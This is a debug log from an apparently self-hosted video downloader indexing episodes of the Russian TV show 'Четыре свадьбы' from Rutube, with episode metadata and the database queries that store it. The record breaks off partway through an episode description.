14:35:57.728 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты побывают на свадьбах друг у друга. Ангелина из Рязани пригласит на свою свадьбу в стиле 90-х. Людмила из Воронежа добавит элементы античности в своё мероприятие. Фишкой свадьбы Ксении из Санкт-Петербурга станет танец для жениха. А Анна из Ярославля выберет для своей свадьбы стиль «вечеринка». Чьё торжество получит большее количество баллов от соперниц, узнаем из программы «Четыре свадьбы».", "duration" => 5860, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e040400 - Свадьба в античном стиле VS Свадьба в стиле 90-х.mp4", "id" => "d11bc60e4aa28558915bbee77ffe9b1b", "original_url" => "https://rutube.ru/video/d11bc60e4aa28558915bbee77ffe9b1b/", "playlist_index" => 72, "timestamp" => 1712232613, "title" => "Свадьба в античном стиле VS Свадьба в стиле 90-х", "upload_date" => "20240404"} 14:35:57.729 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=51.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:57.730 [debug] QUERY OK source="sources" db=0.3ms idle=21.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:57.731 [debug] QUERY OK source="media_items" db=0.5ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-04 12:10:13Z], 1] 14:35:57.754 [debug] QUERY OK source="media_items" db=22.2ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты побывают на свадьбах друг у друга. Ангелина из Рязани пригласит на свою свадьбу в стиле 90-х. Людмила из Воронежа добавит элементы античности в своё мероприятие. Фишкой свадьбы Ксении из Санкт-Петербурга станет танец для жениха. А Анна из Ярославля выберет для своей свадьбы стиль «вечеринка». Чьё торжество получит большее количество баллов от соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в античном стиле VS Свадьба в стиле 90-х", "459368d7-fd04-4889-94c8-6a9334c2e152", "d11bc60e4aa28558915bbee77ffe9b1b", 5860, false, "https://rutube.ru/video/d11bc60e4aa28558915bbee77ffe9b1b/", 72, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e040400 - Свадьба в античном стиле VS Свадьба в стиле 90-х.mp4", false, false, false, 1, [], 1, ~U[2024-04-04 12:10:13Z], ~U[2025-12-09 11:35:57Z], ~U[2025-12-09 11:35:57Z], "Четыре невесты побывают на свадьбах друг у друга. Ангелина из Рязани пригласит на свою свадьбу в стиле 90-х. Людмила из Воронежа добавит элементы античности в своё мероприятие. Фишкой свадьбы Ксении из Санкт-Петербурга станет танец для жениха. А Анна из Ярославля выберет для своей свадьбы стиль «вечеринка». Чьё торжество получит большее количество баллов от соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в античном стиле VS Свадьба в стиле 90-х", "d11bc60e4aa28558915bbee77ffe9b1b", 5860, false, "https://rutube.ru/video/d11bc60e4aa28558915bbee77ffe9b1b/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e040400 - Свадьба в античном стиле VS Свадьба в стиле 90-х.mp4", false, 1, ~U[2024-04-04 12:10:13Z]] 14:35:57.770 [debug] QUERY OK source="sources" db=14.2ms queue=0.1ms idle=27.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:57.771 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=41.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:57.771 [debug] QUERY OK source="media_items" db=0.3ms idle=41.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [66] 14:35:57.772 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты примут участие в свадебном марафоне. Полина из Тюмени пообещала впечатлить конкуренток местом проведения торжества. Ольга из Москвы выбрала для своей свадьбы стиль «тусовка». У Махины из Москвы будет таджикская свадьба с национальными традициями. А фишкой свадьбы Анастасии из Самары станет первый танец молодых. Чьё мероприятие понравится участницам больше остальных, покажет программа «Четыре свадьбы».", "duration" => 5889, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041100 - Таджикская свадьба VS Свадьба в стиле Гэтсби.mp4", "id" => "65f9872235f01fd5fe882782e122de5b", "original_url" => "https://rutube.ru/video/65f9872235f01fd5fe882782e122de5b/", "playlist_index" => 73, "timestamp" => 1712836811, "title" => "Таджикская свадьба VS Свадьба в стиле Гэтсби", "upload_date" => "20240411"} 14:35:57.773 [debug] QUERY OK source="sources" db=0.7ms idle=41.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:57.775 [debug] QUERY OK source="sources" db=0.7ms idle=20.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:57.776 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-11 12:00:11Z], 1] 14:35:57.807 [debug] QUERY OK source="media_items" db=31.0ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты примут участие в свадебном марафоне. Полина из Тюмени пообещала впечатлить конкуренток местом проведения торжества. Ольга из Москвы выбрала для своей свадьбы стиль «тусовка». У Махины из Москвы будет таджикская свадьба с национальными традициями. А фишкой свадьбы Анастасии из Самары станет первый танец молодых. Чьё мероприятие понравится участницам больше остальных, покажет программа «Четыре свадьбы».", "Таджикская свадьба VS Свадьба в стиле Гэтсби", "0eea1d15-7f3d-485a-838a-9e34dfecf0ab", "65f9872235f01fd5fe882782e122de5b", 5889, false, "https://rutube.ru/video/65f9872235f01fd5fe882782e122de5b/", 73, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041100 - Таджикская свадьба VS Свадьба в стиле Гэтсби.mp4", false, false, false, 1, [], 1, ~U[2024-04-11 12:00:11Z], ~U[2025-12-09 11:35:57Z], ~U[2025-12-09 11:35:57Z], "4 невесты примут участие в свадебном марафоне. Полина из Тюмени пообещала впечатлить конкуренток местом проведения торжества. Ольга из Москвы выбрала для своей свадьбы стиль «тусовка». У Махины из Москвы будет таджикская свадьба с национальными традициями. А фишкой свадьбы Анастасии из Самары станет первый танец молодых. Чьё мероприятие понравится участницам больше остальных, покажет программа «Четыре свадьбы».", "Таджикская свадьба VS Свадьба в стиле Гэтсби", "65f9872235f01fd5fe882782e122de5b", 5889, false, "https://rutube.ru/video/65f9872235f01fd5fe882782e122de5b/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041100 - Таджикская свадьба VS Свадьба в стиле Гэтсби.mp4", false, 1, ~U[2024-04-11 12:00:11Z]] 14:35:57.810 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=36.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:57.811 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=37.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:57.812 [debug] QUERY OK source="media_items" db=0.5ms idle=36.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [67] 14:35:57.812 [debug] Current batch of media processed. Will check again in 1000ms 14:35:58.813 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят мероприятия друг друга. Фишкой свадьбы Полины из Санкт-Петербурга станет приветственная зона на крыше. Виктория из Липецка со своим женихом подготовит интересный танец молодых. Мария из Нижнего Новгорода выберет для свадьбы классический стиль. А Динара из Казани будет удивлять шоу-программой. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "duration" => 5858, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041800 - Классические свадьбы.mp4", "id" => "bf3ecfabd9d612e8f695ec25ecbed83a", "original_url" => "https://rutube.ru/video/bf3ecfabd9d612e8f695ec25ecbed83a/", "playlist_index" => 74, "timestamp" => 1713442812, "title" => "Классические свадьбы", "upload_date" => "20240418"} 14:35:58.815 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1006.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:58.816 [debug] QUERY OK source="sources" db=0.4ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:58.819 [debug] QUERY OK source="media_items" db=0.4ms idle=1007.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-18 12:20:12Z], 1] 14:35:58.836 [debug] QUERY OK source="media_items" db=16.2ms idle=1007.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят мероприятия друг друга. Фишкой свадьбы Полины из Санкт-Петербурга станет приветственная зона на крыше. Виктория из Липецка со своим женихом подготовит интересный танец молодых. Мария из Нижнего Новгорода выберет для свадьбы классический стиль. А Динара из Казани будет удивлять шоу-программой. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Классические свадьбы", "f903be4c-0d1d-48ed-8bc4-85f80b117f7d", "bf3ecfabd9d612e8f695ec25ecbed83a", 5858, false, "https://rutube.ru/video/bf3ecfabd9d612e8f695ec25ecbed83a/", 74, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041800 - Классические свадьбы.mp4", false, false, false, 1, [], 1, ~U[2024-04-18 12:20:12Z], ~U[2025-12-09 11:35:58Z], ~U[2025-12-09 11:35:58Z], "Четыре невесты оценят мероприятия друг друга. Фишкой свадьбы Полины из Санкт-Петербурга станет приветственная зона на крыше. Виктория из Липецка со своим женихом подготовит интересный танец молодых. Мария из Нижнего Новгорода выберет для свадьбы классический стиль. А Динара из Казани будет удивлять шоу-программой. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Классические свадьбы", "bf3ecfabd9d612e8f695ec25ecbed83a", 5858, false, "https://rutube.ru/video/bf3ecfabd9d612e8f695ec25ecbed83a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041800 - Классические свадьбы.mp4", false, 1, ~U[2024-04-18 12:20:12Z]] 14:35:58.841 [debug] QUERY OK source="sources" db=3.2ms queue=0.1ms idle=549.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:58.843 [debug] QUERY OK source="media_profiles" db=1.2ms idle=26.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:58.844 [debug] QUERY OK source="media_items" db=0.5ms idle=27.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [68] 14:35:58.845 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы оценят мероприятия конкуренток. У Ксении из Кирова будет свадьба в стиле «бирюзовое настроение». В Мурино пройдёт вдохновлённая дискотекой 80-х свадьба Светланы. Юлия из Зеленограда позовёт гостей на современную свадьбу с народными элементами. А Кристина из Череповца на своей свадьбе попробует удивить подарком для жениха. Какие ещё фишки подготовили невесты для своих мероприятий, покажет программа «Четыре свадьбы».", "duration" => 6033, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e042700 - Свадьба в стиле диско 80-х VS Свадьба с народными элементами.mp4", "id" => "e85e558a2bc46cb089c494c95a27acb2", "original_url" => "https://rutube.ru/video/e85e558a2bc46cb089c494c95a27acb2/", "playlist_index" => 75, "timestamp" => 1714227615, "title" => "Свадьба в стиле диско 80-х VS Свадьба с народными элементами", "upload_date" => "20240427"} 14:35:58.846 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=26.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:58.848 [debug] QUERY OK source="sources" db=0.6ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:58.848 [debug] QUERY OK source="media_items" db=0.4ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-27 14:20:15Z], 1] 14:35:58.873 [debug] QUERY OK source="media_items" db=23.8ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы оценят мероприятия конкуренток. У Ксении из Кирова будет свадьба в стиле «бирюзовое настроение». В Мурино пройдёт вдохновлённая дискотекой 80-х свадьба Светланы. Юлия из Зеленограда позовёт гостей на современную свадьбу с народными элементами. А Кристина из Череповца на своей свадьбе попробует удивить подарком для жениха. Какие ещё фишки подготовили невесты для своих мероприятий, покажет программа «Четыре свадьбы».", "Свадьба в стиле диско 80-х VS Свадьба с народными элементами", "206aa6a8-7c13-40fa-ae90-801c9a032864", "e85e558a2bc46cb089c494c95a27acb2", 6033, false, "https://rutube.ru/video/e85e558a2bc46cb089c494c95a27acb2/", 75, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e042700 - Свадьба в стиле диско 80-х VS Свадьба с народными элементами.mp4", false, false, false, 1, [], 1, ~U[2024-04-27 14:20:15Z], ~U[2025-12-09 11:35:58Z], ~U[2025-12-09 11:35:58Z], "Участницы оценят мероприятия конкуренток. У Ксении из Кирова будет свадьба в стиле «бирюзовое настроение». В Мурино пройдёт вдохновлённая дискотекой 80-х свадьба Светланы. Юлия из Зеленограда позовёт гостей на современную свадьбу с народными элементами. А Кристина из Череповца на своей свадьбе попробует удивить подарком для жениха. Какие ещё фишки подготовили невесты для своих мероприятий, покажет программа «Четыре свадьбы».", "Свадьба в стиле диско 80-х VS Свадьба с народными элементами", "e85e558a2bc46cb089c494c95a27acb2", 6033, false, "https://rutube.ru/video/e85e558a2bc46cb089c494c95a27acb2/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e042700 - Свадьба в стиле диско 80-х VS Свадьба с народными элементами.mp4", false, 1, ~U[2024-04-27 14:20:15Z]] 14:35:58.876 [debug] QUERY OK source="sources" db=2.4ms idle=29.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:58.877 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=30.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:58.878 [debug] QUERY OK source="media_items" db=0.6ms idle=29.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69] 14:35:58.878 [debug] Current batch of media processed. Will check again in 1000ms 14:35:59.879 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят свадьбы друг друга. 